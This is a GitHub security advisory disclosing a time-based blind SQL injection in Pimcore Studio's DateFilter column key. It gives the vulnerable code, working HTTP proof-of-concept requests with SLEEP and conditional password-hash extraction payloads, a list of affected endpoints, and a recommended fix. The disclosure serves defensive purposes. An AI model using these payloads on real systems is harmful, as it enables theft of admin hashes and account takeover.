GHSA-79cw-hfcc-7mw9: SQL Injection

Summary

An authenticated user extracts the admin password hash and any other database content through a time-based blind SQL injection in the DateFilter column key parameter. The POST /pimcore-studio/api/website-settings endpoint (and 11 other listing endpoints) accepts a columnFilters array where the key field is interpolated directly into SQL with only manual backtick wrapping. The DateFilter uses fixed named parameters (:minTime, :maxTime), so the injected column name is not subject to PDO named parameter validation. An attacker breaks out of the backtick quoting with a backtick character and appends arbitrary SQL, including SLEEP() for time-based extraction and IF() subqueries for conditional data exfiltration.

Vulnerability Details

Exploitable: DateFilter with Fixed Named Parameters

src/Listing/Filter/DateFilter.php lines 49-57 handle the on operator. The column key comes from user input and is placed in the SQL with manual backtick wrapping, while the named parameters are hardcoded as :minTime and :maxTime:

php $key = $column->getKey(); // user-controlled, no validation $dateCondition = '' . $key . ' ' . ' BETWEEN :minTime AND :maxTime'; $listing->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => ...]);

Because the named parameters are fixed strings, PDO accepts the binding regardless of what the column name contains.

Same Pattern in Note FilterService

src/Note/Service/FilterService.php lines 64-67:

php $dateCondition = '' . $filter[$propertyKey] . ' ' . ' BETWEEN :minTime AND :maxTime'; $list->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => $maxTime]);

No Validation on Column Key

src/MappedParameter/Filter/ColumnFilter.php accepts any string as the key with zero validation or allowlisting.

Why Backtick Wrapping is Not Escaping

Manual backtick wrapping ( '' . $key . '' ) does not escape internal backtick characters. quoteIdentifier() doubles them, manual wrapping does not. A backtick in the key breaks out of the quoting and the -- (double dash space) comments out the remainder of the query:

Input: key = "id BETWEEN 0 AND 99999999999) AND SLEEP(3)-- "

Produces: sql (id BETWEEN 0 AND 99999999999) AND SLEEP(3)-- BETWEEN :minTime AND :maxTime)

Everything after -- is a SQL comment. The injected SLEEP(3) executes unconditionally.

Contrast with Safe Patterns in the Same Codebase

- LogRepository.php line 202: uses $this->dbResolver->get()->quoteIdentifier() (safe) - ClassificationStore/Configuration/KeyRepository.php: uses ALLOWEDSORTKEYS allowlist (safe)

Note on EqualsFilter/LikeFilter

The EqualsFilter and LikeFilter have the same manual backtick wrapping, but they reuse the column name as the PDO named parameter (:columnName). PDO requires named parameters to match [a-zA-Z0-9], so injection characters cause a parameter binding error before SQL execution. These filters are not exploitable through this vector. The DateFilter is exploitable because it uses independent fixed parameter names.

Steps to Reproduce

Tested on Pimcore 12.x (2026.x branch, latest commit 82f9ff6), Docker, PHP 8.4, MariaDB 10.11.

Step 1: Baseline request (no injection)

http POST /pimcore-studio/api/website-settings HTTP/1.1 Host: localhost:8095 Content-Type: application/json Cookie: PHPSESSID=<AUTHENTICATEDSESSION>

{"page":1,"pageSize":10}

Response: HTTP/1.1 200 OK -- totalItems: 1 -- 0.07 seconds

<img width="1666" height="616" alt="image" src="https://github.com/user-attachments/assets/93dfbb22-3915-4abb-b569-13c9f3cea368" />

Step 2: Unconditional SLEEP(3) injection

http POST /pimcore-studio/api/website-settings HTTP/1.1 Host: localhost:8095 Content-Type: application/json Cookie: PHPSESSID=<AUTHENTICATEDSESSION>

{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}

Response: HTTP/1.1 200 OK -- totalItems: 0 -- 6.07 seconds

<img width="1631" height="898" alt="image" src="https://github.com/user-attachments/assets/97d04b04-4fb2-4fd4-95b8-e50d0521de97" />

<img width="1920" height="625" alt="image" src="https://github.com/user-attachments/assets/6000a604-b189-4f99-8648-d8ec36a59094" />

The 6-second delay (3s x 2 queries: SELECT + COUNT) confirms SQL injection. The MySQL general log shows the injected SQL executed:

sql SELECT id FROM websitesettings WHERE (id BETWEEN 0 AND 99999999999) AND SLEEP(3)-- BETWEEN :minTime AND :maxTime) ORDER BY id ASC LIMIT 50

Step 3: Conditional SLEEP proving data extraction (TRUE case)

This query tests whether the admin password hash starts with $2y$ (bcrypt, hex 0x24327924). If true, the server sleeps 3 seconds. If false, no delay.

http POST /pimcore-studio/api/website-settings HTTP/1.1 Host: localhost:8095 Content-Type: application/json Cookie: PHPSESSID=<AUTHENTICATEDSESSION>

{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x24327924,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}

Response: HTTP/1.1 200 OK -- 6.07 seconds (TRUE: admin password hash starts with $2y$)

<img width="1611" height="706" alt="image" src="https://github.com/user-attachments/assets/b9f12ca4-3459-4ed6-8a08-c64f99f28d85" />

<img width="1917" height="570" alt="image" src="https://github.com/user-attachments/assets/1c5eca3d-f66b-4630-bea9-69c93ffa1a6f" />

Step 4: Conditional SLEEP (FALSE case, wrong guess)

Same query but testing for XXXX (hex 0x58585858) instead:

http POST /pimcore-studio/api/website-settings HTTP/1.1 Host: localhost:8095 Content-Type: application/json Cookie: PHPSESSID=<AUTHENTICATEDSESSION>

{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x58585858,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}

Response: HTTP/1.1 200 OK -- 0.07 seconds (FALSE: password does not start with XXXX)

<img width="1920" height="496" alt="image" src="https://github.com/user-attachments/assets/7a27f666-a6e4-4c65-94b4-f0d22ba1db7f" />

Timing comparison

| Request | Payload | Response Time | Meaning | |---------|---------|---------------|---------| | Baseline | No injection | 0.07s | Normal | | Unconditional SLEEP | AND SLEEP(3) | 6.07s | Injection confirmed | | Conditional TRUE | IF(password starts with $2y$, SLEEP(3), 0) | 6.07s | Data extracted: hash is bcrypt | | Conditional FALSE | IF(password starts with XXXX, SLEEP(3), 0) | 0.07s | Control: no match, no delay |

By iterating through characters with SUBSTRING(password, N, 1), an attacker extracts the full bcrypt hash for offline cracking, or extracts passwordRecoveryToken values for direct account takeover without cracking.

Impact

An authenticated user with websitesettings permission (or any permission granting access to a listing endpoint with DateFilter support) extracts the full contents of any database table one character at a time through conditional time-based blind SQL injection.

Directly extractable high-value data: - Admin password hashes (users.password) for offline cracking - Password recovery tokens (users.passwordRecoveryToken) for direct account takeover via POST /login/token - Session data for session hijacking - All PIM product data, CMS content, and asset metadata

Affected Endpoints

All endpoints using ListingFilter::applyFilters() with a DateFilter on column filter:

- POST /pimcore-studio/api/website-settings - POST /pimcore-studio/api/notifications - POST /pimcore-studio/api/recycle-bin - POST /pimcore-studio/api/redirects - POST /pimcore-studio/api/translations/{domain} - POST /pimcore-studio/api/quantity-value/units - POST /pimcore-studio/api/properties - POST /pimcore-studio/api/classification-store/{storeId}/keys - POST /pimcore-studio/api/classification-store/{storeId}/groups - POST /pimcore-studio/api/classification-store/{storeId}/collections - GET /pimcore-studio/api/notes/{elementType}/{id} (via Note FilterService fieldFilters)

Recommended Fix

Replace manual backtick wrapping with Doctrine\DBAL\Connection::quoteIdentifier(), or implement a per-listing allowlist of valid column names:

php // Option 1: quoteIdentifier (doubles internal backticks) $db = \Pimcore\Db::get(); $dateCondition = $db->quoteIdentifier($key) . ' BETWEEN :minTime AND :maxTime';

// Option 2: allowlist (preferred) private const ALLOWEDCOLUMNS = ['id', 'name', 'date', 'type', 'creationDate', 'modificationDate']; if (!inarray($key, self::ALLOWEDCOLUMNS, true)) { throw new InvalidArgumentException('Invalid filter column'); }

Apply the same fix to EqualsFilter, LikeFilter, and Note/FilterService as defense-in-depth, even though those are currently protected by PDO named parameter validation.

Supporting Materials

- Live-tested on Pimcore 12.x (2026.x branch, commit 82f9ff6), Docker, PHP 8.4, MariaDB 10.11 - MySQL general query log confirms injected SQL reaches the database - The safe pattern (quoteIdentifier()) exists in the same codebase in LogRepository.php line 202 - Package: pimcore/studio-backend-bundle